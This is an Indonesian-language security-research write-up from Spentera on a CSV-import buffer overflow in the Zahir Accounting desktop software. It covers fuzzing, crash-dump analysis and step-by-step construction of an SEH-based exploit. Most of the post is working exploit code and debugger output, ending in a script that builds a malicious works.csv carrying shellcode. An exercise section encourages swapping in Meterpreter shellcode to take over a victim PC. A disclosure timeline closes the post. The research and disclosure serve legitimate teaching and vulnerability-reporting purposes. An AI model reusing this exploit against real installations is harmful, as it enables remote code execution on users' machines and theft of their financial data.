Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang hampir mendekati tingkat enterprise.
Pada kesempatan kali ini, Zahir Accounting masuk di laboratorium riset 0-day Spentera yang fokus pada aplikasi-aplikasi yang dihasilkan oleh anak negeri. Mengingat profil Zahir yang cukup terkenal, merupakan tantangan dan kebanggaan tersendiri bagi kami untuk membedahnya.
Lingkungan Riset dan Tool yang Digunakan
Proses vulnerability discovery ini dilakukan pada sistem operasi Windows 7 dengan beberapa tool yang akan kita gunakan sebagai berikut:
- Immunity Debugger
- Debugging Tools for Windows
- Mona.py
- Metasploit Framework
- Procdump (bagian dari Sysinternal Suite)
Fuzzing Aplikasi
Seperti biasa proses awal sebuah vulnerability discovery pada aplikasi diawali oleh yang namanya fuzzing. Proses ini biasanya memakan waktu yang lama, tergantung besaran entry point yang terdapat pada aplikasi. Karena aplikasi Zahir merupakan aplikasi klien (bukan aplikasi server yang menjalankan service dan membuka port), maka tehnik yang kami gunakan adalah pendekatan file format fuzzing. Tehnik ini mencoba mencari kerentanan dari sisi input yang akan di proses oleh aplikasi, sisi input ini yang kami sebut juga dengan entry point. Pada aplikasi Zahir, terdapat beberapa entry point berikut:
- Menu Buka Data, fungsi untuk membaca database lokal atau dari layanan database Firebird.
- Menu Membuka File Backup, fungsi untuk membuka file backup yang sudah ada
- Menu Import Data dari Zahir versi 6.0, membuka data dari versi Zahir sebelumnya.
- Menu Import Data dari file lainnya, membuka data dari file berformat CSV.
- Menu Import Transaksi, membuka data dari file berformat CSV.
Percobaan fuzzing dilakukan dengan cara mengisi file berformat CSV dengan karakter “A” lalu di inputkan ke dalam program Zahir. Dari semua percobaan fuzzing yang telah dilakukan dengan cara membuat file berformat CSV, fungsi Import Data dari file lainnya-lah yang bereaksi terhadap file CSV yang berisi karakter “A” sebanyak 5000 karakter. Berikut adalah skrip yang digunakan untuk menghasilkan file tersebut.
#!/usr/bin/python junk = "A" * 2500 junk += '\n\r' junk += 'A' * 500 junk += "D" * 500 print "[+] Preparing for file.." filename = "junk.csv" f = open(filename, 'w') print "[+] Writing crafted CSV file.." f.write(junk) f.close() print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename
Jika diperhatikan ada karakter ‘\n\r’ yang disematkan antar karakter “A” yang akan dihasilkan. Karakter ‘\n’ biasa kita kenal dengan newline atau Line Feed (LF), sedangkan karakter ‘\r’ yang berarti Carriage Return (CR). Informasi mengenai CR LF dapat dilihat disini.
Dalam beberapa kali percobaan, rupanya program Zahir mengalami kegagalan dalam memproses CR LF ini sehingga menyebabkan program Zahir crash. Untuk memicu error tersebut, kita bisa membuka file junk.csv dari menu File – Import – Import Data dari File Lainnya – Pilih Lanjutkan – Pada menu selanjutnya pilih salah satu, saya memilih Daftar Pelanggan – Lalu pada form Nama File, pilih file junk.csv yang telah dihasilkan oleh skrip di atas – Lalu pilih Lanjutkan.
Terlihat bahwa terdapat pesan error
Error: Access violation at 0x77D5283E (tried to write to 0x0030FE4), program terminated. LastCP is 'RF'.
Pada pesan error juga terdapat hint (LastCP is ‘RF’) yang menjelaskan bahwa crash tersebut terjadi karena CR LF.
Proses Debugging
Berdasarkan informasi tersebut, kita perlu tahu apa yang sebenarnya terjadi ketika file CSV hasil fuzzing (junk.csv) tersebut diproses oleh Zahir. Proses ini biasa kita namakan dengan debugging dan tool untuk debugging kali ini kita akan menggunakan Immunity Debugger. Seperti proses debugging pada umumnya, kita akan menjalankan Immunity Debugger dan membuka program Zahir dengan Immunity Debugger. Namun developer Zahir sepertinya tidak ingin programnya dapat di reverse engineering atau debugging, sehingga ketika kita buka dengan Immunity Debugger, muncul tampilan seperti berikut.
Ketika menemukan error seperti ini, maka proses debugging tidak akan bisa kita lakukan dengan cara membuka program dengan debugger. Ada 2 cara lain jika kita menemukan keadaan seperti ini:
- Lakukan debugging dengan cara attaching proses ZahirApp6.exe, tentu saja kita harus jalankan program Zahir dulu sampai semua program tersebut berjalan dengan sempurna, setelah itu kita attach (File – Attach) proses ZahirApp6.exe dengan Debugger. Namun, cara pertama ini gagal karena developer Zahir sukses menghindari attaching process oleh debugger, sehingga ketika file CSV fuzzing (junk.csv) di buka, program tetap crash namun debugger tidak dapat ‘menangkap’ proses crash yang terjadi.
- Menangkap crash dump yang dihasilkan ketika Zahir crash dengan file CSV fuzzing (junk.csv) yang sudah kita input ke Zahir. Untuk ‘menangkap’ informasi crash tersebut, dibutuhkan program tambahan yang bernama Procdump.
Crash Dump Analysis
Untuk mendapatkan informasi lebih detail terhadap crash dump yang dihasilkan, kita perlu mengatur bagaimana Procdump dapat menangkap crash dari program Zahir. Untuk itu kita akan menggunakan Procdump dengan perintah berikut:
mkdir c:\crashdump cd C:\tools\SysinternalsSuite procdump.exe -ma -I C:\crashdump
Penjelasan tentang perintah di atas:
- mkdir C:\crashdump, kita membuat tempat dimana procdump akan melempar hasil crash program.
- procdump -ma -I C:\crashdump, yang berarti menuliskan ‘Full’ dump apabila program crash ke folder C:\crashdump serta jadikan procdump sebagai AEDebug postmortem debugger yang artinya Procdump akan selalu menjadi program yang pertama kali dianggap sebagai debugger oleh sistem operasi.
Setelah Procdump siap, kita akan jalankan kembali program Zahir dan membuka kembali file CSV fuzzing (junk.csv) yang sudah kita siapkan. Kali ini, Procdump akan mencatat semua proses crash dan dapat kita analisa menggunakan Windows Debugger (WinDbg).
Setelah tampilan error CR LF yang sebelumnya kita lihat, muncul window baru dimana Procdump melakukan tugasnya mengumpulkan proses crash yang sedang terjadi. Apabila kita lihat di C:\crashdump, kita bisa lihat 2 buah file telah dihasilkan oleh Procdump.
Untuk menganalisa kedua file ini, kita memerlukan Windows Debugger (WinDbg)
Analisa Crash Dump dengan WinDbg
Buka program WinDbg lalu pilih File – Open Crash Dump, pilih salah satu dari kedua file crash dump tersebut. Kita akan melihat pada Command window bahwa proses berhenti ketika terjadi exception yang kemudian ditangkap oleh Structured Exception Handler (SEH), hal ini dapat kita simpulkan dari module DLL dimana proses exception tersebut terjadi (ntdll_!_SEH_prolog4+0x1a). Jika ingin melihat dari sisi disassembler, pilih View – Disassembly.
Apabila kita lihat pada hasil crash dump di atas terdapat kalimat “This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr.”
Jika kita lihat menggunakan !analyze -v:
0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: Zahir!LbcsvRegister$qqrv+49 02504375 f366a5 rep movs word ptr es:[edi],word ptr [esi] EXCEPTION_RECORD: 0012e600 -- (.exr 0x12e600) ExceptionAddress: 02504375 (Zahir!LbcsvRegister$qqrv+0x00000049) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 82828282 Attempt to write to address 82828282 PROCESS_NAME: ZahirApp6.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 00030fe4 WRITE_ADDRESS: 00030fe4 FOLLOWUP_IP: Zahir!LbcsvRegister$qqrv+0 0250432c 51 push ecx MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAILED_INSTRUCTION_ADDRESS: +69382faf0387de5c 44444444 ?? ??? CONTEXT: 0012e61c -- (.cxr 0x12e61c) eax=0012eab4 ebx=00000000 ecx=0000007f edx=82828282 esi=0012eab4 edi=82828282 eip=02504375 esp=0012ea74 ebp=0012ea8c iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203 Zahir!LbcsvRegister$qqrv+0x49: 02504375 f366a5 rep movs word ptr es:[edi],word ptr [esi] Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0250483b to 02504375 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444 PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_FILL_PATTERN_44444444 DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_FILL_PATTERN_44444444 IP_ON_HEAP: 44444444 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 44444444 STACK_TEXT: 0012ea74 02504375 zahir!LbcsvRegister$qqrv+0x49 0012ea94 0250483b zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+0x13f 0012ebd0 41414141 unknown!printable+0x0 0012ebd4 41414141 unknown!printable+0x0 0012ebd8 41414141 unknown!printable+0x0 0012ebdc 41414141 unknown!printable+0x0 0012ebe0 41414141 unknown!printable+0x0 0012ebe4 41414141 unknown!printable+0x0 0012ebe8 41414141 unknown!printable+0x0 0012ebec 41414141 unknown!printable+0x0 0012ebf0 41414141 unknown!printable+0x0 0012ebf4 41414141 unknown!printable+0x0 0012ebf8 41414141 unknown!printable+0x0 0012ebfc 41414141 unknown!printable+0x0 0012ec00 41414141 unknown!printable+0x0 0012ec04 41414141 unknown!printable+0x0 0012ec08 41414141 unknown!printable+0x0 0012ec0c 41414141 unknown!printable+0x0 0012ec10 41414141 unknown!printable+0x0 0012ec14 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 0012E61C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 12ea74 ; kb SYMBOL_NAME: zahir!LbcsvRegister$qqrv+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Zahir IMAGE_NAME: Zahir.bpl DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_FILL_PATTERN_44444444_c0000005_Zahir.bpl!LbcsvRegister$qqrv BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444_BAD_IP_zahir!LbcsvRegister$qqrv+0 WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/ZahirApp6_exe/6_0_0_1/2a425e19/ntdll_dll/6_1_7601_23889/598d4ce7/c0000005/0005283e.htm?Retriage=1 Followup: MachineOwner ---------
Exception record menunjukkan bahwa exception terjadi pada alamat 0012e600. Kita bisa lihat proses exception terjadi dengan perintah berikut.
0:000> d fs:[0] 003b:00000000 6c 15 03 00 00 00 13 00-00 10 03 00 00 00 00 00 l............... 003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................ 003b:00000020 88 03 00 00 cc 0c 00 00-00 00 00 00 c0 68 25 00 .............h%. 003b:00000030 00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000040 28 62 f4 fd 00 00 00 00-00 00 00 00 00 00 00 00 (b.............. 003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> d 0003156c 0003156c ac 1a 03 00 8d 6d 0a 77-30 ec 12 00 28 16 03 00 .....m.w0...(... 0003157c 4b 6d 0a 77 40 16 03 00-30 ec 12 00 5c 16 03 00 [email protected]...\... 0003158c 14 16 03 00 44 44 44 44-30 ec 12 00 40 16 03 00 ....DDDD0...@... 0003159c 30 ec 12 00 17 fa 07 77-40 16 03 00 30 ec 12 00 [email protected]... 000315ac 5c 16 03 00 14 16 03 00-44 44 44 44 00 00 00 00 \.......DDDD.... 000315bc 40 16 03 00 00 00 00 00-00 00 00 00 00 00 00 00 @............... 000315cc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000315dc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> d 00031aac 00031aac ec 1f 03 00 8d 6d 0a 77-30 ec 12 00 68 1b 03 00 .....m.w0...h... 00031abc 4b 6d 0a 77 80 1b 03 00-30 ec 12 00 9c 1b 03 00 Km.w....0....... 00031acc 54 1b 03 00 44 44 44 44-30 ec 12 00 80 1b 03 00 T...DDDD0....... 00031adc 30 ec 12 00 17 fa 07 77-80 1b 03 00 30 ec 12 00 0......w....0... 00031aec 9c 1b 03 00 54 1b 03 00-44 44 44 44 00 00 00 00 ....T...DDDD.... 00031afc 80 1b 03 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00031b0c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00031b1c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> d 00031fec 00031fec 2c 25 03 00 8d 6d 0a 77-30 ec 12 00 a8 20 03 00 ,%...m.w0.... .. 00031ffc 4b 6d 0a 77 c0 20 03 00-30 ec 12 00 dc 20 03 00 Km.w. ..0.... .. 0003200c 94 20 03 00 44 44 44 44-30 ec 12 00 c0 20 03 00 . ..DDDD0.... .. 0003201c 30 ec 12 00 17 fa 07 77-c0 20 03 00 30 ec 12 00 0......w. ..0... 0003202c dc 20 03 00 94 20 03 00-44 44 44 44 00 00 00 00 . ... ..DDDD.... 0003203c c0 20 03 00 00 00 00 00-00 00 00 00 00 00 00 00 . .............. 0003204c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0003205c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> d 0003252c 0003252c 6c 2a 03 00 8d 6d 0a 77-30 ec 12 00 e8 25 03 00 l*...m.w0....%.. 0003253c 4b 6d 0a 77 00 26 03 00-30 ec 12 00 1c 26 03 00 Km.w.&..0....&.. 0003254c d4 25 03 00 44 44 44 44-30 ec 12 00 00 26 03 00 .%..DDDD0....&.. 0003255c 30 ec 12 00 17 fa 07 77-00 26 03 00 30 ec 12 00 0......w.&..0... 0003256c 1c 26 03 00 d4 25 03 00-44 44 44 44 00 00 00 00 .&...%..DDDD.... 0003257c 00 26 03 00 00 00 00 00-00 00 00 00 00 00 00 00 .&.............. 0003258c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0003259c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Pada proses dump terhadap exception handler dengan melihat langsung pada tiap handler, dapat kita lihat di atas bagian berwarna merah menunjukkan alamat handler berikutnya. Kita bisa lihat bahwa handler terus mencoba mengatasi exception hingga pada akhirnya program mengalami crash. Dengan menjalankan perintah !exchain, terlihat bahwa exception chain berhenti pada alamat 0012ec30.
Jika kita melakukan dump pada alamat tersebut (0012ec30):
0:000> d 0012ec30 0012ec30 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec40 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec50 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec60 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012ec90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0012eca0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Dengan melihat tampilan di atas, hal tersebut membuktikan bahwa kita berhasil mengisi stack dengan buffer (junk) yang telah disiapkan (junk.csv). Berdasarkan informasi tersebut dapat kita simpulkan bahwa:
- Terkonfirmasi bahwa program Zahir memiliki kerentanan yang dapat di eksploitasi, yaitu melalui kerentanan CR LF.
- Dengan kerentanan CR LF ini, kita bisa mengambil alih aliran eksekusi program Zahir.
- Berdasarkan hasil crash dump bahwa telah terjadi exception, maka proses eksploitasi ini akan menggunakan tehnik untuk bypass SEH.
Mengingat terdapat exception handler yang mengendalikan kondisi program apabila terjadi kesalahan, maka proses eksploitasi menjadi sedikit berbeda dari proses eksploitasi biasa dengan tehnik direct RET. Untuk membaca mengenai proses eksploitasi direct RET bisa membaca dokumen yang pernah saya tulis sebelumnya dengan judul Exploit Development: Basic Stack-based Overflow. Informasi mengenai proses eksploitasi SEH juga bisa dibaca dengan detail pada postingan di blog Spentera dengan judul SEH Based Stack Overflow – The Basic.
Eksploitasi dengan Tehnik SEH
Pada proses eksploitasi dengan tehnik SEH, kita akan menimpa alamat exception handler (SEH) dan alamat penunjuk exception handler selanjutnya (Next SEH). Bisa kita lihat dari diagram berikut.
Pada proses eksploitasi kali ini, perlu agak tricky menentukan di mana kita mencari alamat ketika junk buffer (A) menimpa SEH dan Next SEH. Untuk itu seperti biasa kita akan menggunakan bantuan skrip pattern_create.rb dari Metasploit dan memodifikasi skrip eksploitnya.
#!/usr/bin/python bag1= "hasil metasploit pattern_create" pisah = '\r\n' bag2 = "sebagian dari hasil metasploit pattern_create" print "[+] Preparing for file..." filename = "metasjunk.csv" f = open(filename, 'w') print "[+] Writing crafted malicious CSV file.." f.write(bag1+pisah+bag2) f.close() print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename
Pada percobaan pertama, saya menghasilkan 3000 karakter acak dengan pattern_create.rb dan memecahnya menjadi 2 bagian.
- Bag1 saya isi dengan 2500 karakter acak
- Bag2 saya isi dengan 500 karakter acak sisanya
Hasil skrip tersebut kita impor lagi ke Zahir dan kita analisa hasilnya.
Terlihat bahwa alamat 0012ec30 tertimpa dengan angka 73443173 yang merupakan karakter acak hasil dari pattern_create.rb. Untuk mengetahui offset atau posisi bytes ketika SEH tertimpa dengan buffer yang kita pilih, kita bisa menggunakan pattern_offset.rb.
Ternyata posisi offset ketika SEH tertimpa adalah di byte 2884. Hal ini menjadi sangat menarik karena jika kita lihat di atas, kita membagi buffer menjadi bag1 (2500 bytes) dan bag2 (500 bytes), dan rupanya offset berada di bytes 2884. Artinya ada kelebihan 384 bytes pada buffer bag1 (2500 bytes) yang menimpa stack sehingga setelah itu bytes berikutnya akan menimpa SEH dan Next SEH (nSEH). Berdasarkan analisis ini, kita perlu mengubah skrip skeleton eksploit kita menjadi seperti ini:
#!/usr/bin/python bag1= "A" * 2500 pisah = '\r\n' bag2 = "B" * 384 nseh = "CCCC" seh = "DDDD" tambahan = "E" * 500 print "[+] Preparing for file..." filename = "seh-junk.csv" f = open(filename, 'w') print "[+] Writing crafted malicious CSV file.." f.write(bag1+pisah+bag2) f.close() print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename
Dari skrip di atas kita coba menimpa SEH dan nSEH dengan karakter C dan D. Apabila kalkulasi kita benar, maka pada alamat Next SEH akan terisi dengan karakter C (0x43434343) dan pada SEH akan terisi karakter D (0x44444444). Kita buka lagi program Zahir dan lakukan hal yang sama seperti sebelumnya, load kembali file junk kali ini dengan nama seh-junk.csv.
Loading unloaded module list ..................................................... This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (740.8f0): Access violation - code c0000005 (first/second chance not available) eax=00000020 ebx=77856d8d ecx=0003105c edx=77856c74 esi=00031100 edi=00000000 eip=7786283e esp=00030fe8 ebp=00031018 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 ntdll!_SEH_prolog4+0x1a: 7786283e 53 push ebx 0:000> !exchain 0003156c: ntdll!ExecuteHandler2+3a (77856d8d) 00031aac: ntdll!ExecuteHandler2+3a (77856d8d) 00031fec: ntdll!ExecuteHandler2+3a (77856d8d) ............. 0012e52c: ntdll!ExecuteHandler2+3a (77856d8d) 0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl *** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl - Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (025f48db) 0012ec30: 43434343 Invalid exception stack at 42424242 0:000> d 0012ec30 0012ec30>42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE 0012ec40 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012ec50 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012ec60 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012ec70 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012ec80 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012ec90 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE 0012eca0 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
Melihat hasil di atas, rupanya kita ada salah perhitungan sehingga posisi SEH yang seharusnya tertimpa dengan karakter D (0x44444444) malah tertimpa dengan karakter C (0x43434343). sedangkan Next SEH yang seharusnya tertimpa dengan karakter C (0x43434343) malah tertimpa dengan karakter B (0x42424242). Karakter E (0x45454545) sudah sangat sesuai dengan keinginan kita, sehingga tidak ada yang perlu kita rubah terkait hal tersebut. Posisi karakter E ini akan kita ganti dengan shellcode jika perhitungan kita sudah sesuai.
Kesalahan perhitungan ini akan kita perbaiki segera dengan mengganti skrip menjadi berikut.
#!/usr/bin/python bag1= "A" * 2500 pisah = '\r\n' bag2 = "B" * 380 nseh = "CCCC" seh = "DDDD" tambahan = "E" * 500 print "[+] Preparing for file..." filename = "seh-junk.csv" f = open(filename, 'w') print "[+] Writing crafted malicious CSV file.." f.write(bag1+pisah+bag2) f.close() print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename
Hasilnya:
0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl *** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl - Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (029e48db) 0012ec30: 44444444 Invalid exception stack at 43434343
Setelah hasil kalkulasi kita sesuai, saatnya kita mencari perintah berurut POP r32 POP r32 dan RET. Alamat ini dengan mudah dapat kita cari dengan bantuan tool mona.py yang sudah kita siapkan sebelumnya. Cara instalasi mona pada Windbg dapat dilihat pada dokumentasi Corelan disini. Untuk menjalankannya, kita hanya perlu menjalankan perintah berikut pada window Command:
0:000> .load pykd.pyd 0:000> !py mona
Jalankan perintah !py mona seh untuk mendapatkan hasilnya. Pada proses ini saya menemukan alamat 0x52016661 yang merupakan urutan perintah pop ecx # pop ebp # ret 0x04 diambil dari file vcl100.bpl. File ini merupakan file bawaan instalasi, sehingga apabila kita mengambil alamat POP r32 POP r32 RET dari file bawaan instalasi program, maka akan membuat proses eksploitasi ini menjadi reliable di versi Windows lainnya.
Sebelum kita merubah alamat SEH menjadi 0x52016661, kita harus ingat bahwa setelah SEH tertimpa dengan alamat tersebut, maka aliran program akan langsung menuju Next SEH. Pada posisi Next SEH inilah, kita akan melempar aliran program ke tempat dimana bakal shellcode kita berada.
Mengambil Alih Aliran Program
Ketika SEH sudah terambil alih, maka aliran program berikutnya akan berlanjut ke Next SEH, karena Next SEH berisi alamat SEH berikutnya. Namun pada kasus ini, alamat SEH berikutnya sudah dapat kita kendalikan dan sudah terisi dengan karakter E (masih ingat?). Artinya, apabila kita mengisi Next SEH dengan perintah untuk membawa kita alamat berikutnya, kita dapat mengambil alih aliran program secara sempurna.
Kita akan mengisi alamat Next SEH dengan lompatan kecil untuk ‘melewati’ alamat SEH sebelumnya, sehingga proses selanjutnya akan langsung membawa kita ke karakter E. Proses eksploitasi ini adalah proses eksploitasi khas SEH yang umum. Namun karna pada kasus kali ini kita melakukan debug dari crash dump, kita tidak dapat memasang breakpoint pada alamat SEH.
Pada kenyataannya hal ini tidak akan merubah aliran eksploitasi dan kita akan melakukannya secara buta. Agar lebih jelas saya langsung memodifikasi skrip sebelumnya dan menambahkan shellcode, hasilnya dapat kita lihat pada skrip berikut.
#!/usr/bin/python bag1 = "A" * 2500 pisah = '\r\n' bag2 = "B" * 380 nseh = "\xeb\x08\x90\x90" seh = "\x61\x66\x01\x52" nop = "\x90\x90\x90\x90" # msfvenom -p windows/exec CMD=calc -f python -v shellcode shellcode = "" shellcode += "\xba\x15\x88\x74\x16\xdb\xd3\xd9\x74\x24\xf4\x58" shellcode += "\x31\xc9\xb1\x30\x31\x50\x13\x83\xc0\x04\x03\x50" shellcode += "\x1a\x6a\x81\xea\xcc\xe8\x6a\x13\x0c\x8d\xe3\xf6" shellcode += "\x3d\x8d\x90\x73\x6d\x3d\xd2\xd6\x81\xb6\xb6\xc2" shellcode += "\x12\xba\x1e\xe4\x93\x71\x79\xcb\x24\x29\xb9\x4a" shellcode += "\xa6\x30\xee\xac\x97\xfa\xe3\xad\xd0\xe7\x0e\xff" shellcode += "\x89\x6c\xbc\x10\xbe\x39\x7d\x9a\x8c\xac\x05\x7f" shellcode += "\x44\xce\x24\x2e\xdf\x89\xe6\xd0\x0c\xa2\xae\xca" shellcode += "\x51\x8f\x79\x60\xa1\x7b\x78\xa0\xf8\x84\xd7\x8d" shellcode += "\x35\x77\x29\xc9\xf1\x68\x5c\x23\x02\x14\x67\xf0" shellcode += "\x79\xc2\xe2\xe3\xd9\x81\x55\xc8\xd8\x46\x03\x9b" shellcode += "\xd6\x23\x47\xc3\xfa\xb2\x84\x7f\x06\x3e\x2b\x50" shellcode += "\x8f\x04\x08\x74\xd4\xdf\x31\x2d\xb0\x8e\x4e\x2d" shellcode += "\x1b\x6e\xeb\x25\xb1\x7b\x86\x67\xdf\x7a\x14\x12" shellcode += "\xad\x7d\x26\x1d\x81\x15\x17\x96\x4e\x61\xa8\x7d" shellcode += "\x2b\x9d\xe2\xdc\x1d\x36\xab\xb4\x1c\x5b\x4c\x63" shellcode += "\x62\x62\xcf\x86\x1a\x91\xcf\xe2\x1f\xdd\x57\x1e" shellcode += "\x6d\x4e\x32\x20\xc2\x6f\x17\x43\x85\xe3\xfb\x84" tambahan = "E" * 500 print "[+] Preparing for file..." filename = "works.csv" f = open(filename, 'w') print "[+] Writing crafted malicious CSV file.." f.write(bag1+pisah+bag2+nseh+seh+nop+shellcode+tambahan) f.close() print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename
Saya menambahkan sejumlah baris NOP agar ketika lompatan kecil pada Next SEH (\xeb\x08\x90\x90) mendarat pada NOP sebelum ke shellcode. Hal ini sering dilakukan oleh exploit developer agar proses jump ke shellcode dapat berjalan dengan baik. Hasilnya:
Owned!
Kita berhasil mengambil alih aliran program Zahir dan mengeluarkan kalkulator hanya dengan sebuah file works.csv.
Extra Miles
Pada skrip python di atas, saya menggunakan shellcode hasil dari msfvenom untuk mengeluarkan kalkulator. Sebagai bahan latihan:
- Gunakan shellcode meterpreter untuk mengambil alih PC korban
- Temukan bad chars yang tersembunyi
Vulnerability Discovery Timeline
1 September 2017 | Menghubungi pihak Zahir melalui Pusat Dukungan. Tiket terbuat dengan nomor tiket #JTC-534-70652 (http://zahir.info/index.php?/Tickets/Ticket/View/JTC-534-70652). Tiket ditugaskan ke bapak Ahdan Sadid. |
12 September 2017 | Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Ahdan Sadid |
15 September 2017 | Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Indra Septiady |
18 September 2017 | Pihak Zahir merespon atas nama bapak Indra Septiady yang akan menindaklanjuti informasi dari Spentera. |
19 September 2017 | Spentera memberikan skrip dan link video privat yang dapat digunakan sebagai pembuktian konsep temuan kerentanan. |
28 September 2017 | Tiket ditutup oleh pihak Zahir namun karena tidak ada tanggapan dari lebih lanjut, Spentera membuka kembali tiket dengan nomor #JTC-534-70652. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut. |
24 Agustus 2018 | Spentera membuka kembali tiket dengan nomor #ZYL-522-86966. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut. |
11 September 2018 | Tidak ada respon dari pihak Zahir, sehingga Spentera melaporkan temuan ini ke Pusat Operasi Keamanan Siber Nasional Badan Siber dan Sandi Negara dengan alamat email [email protected]. |
23 September 2018 | Request CVE to Mitre. |
1 Oktober 2018 | Publikasi di Exploit-DB (https://www.exploit-db.com/exploits/45505/) dan blog Spentera |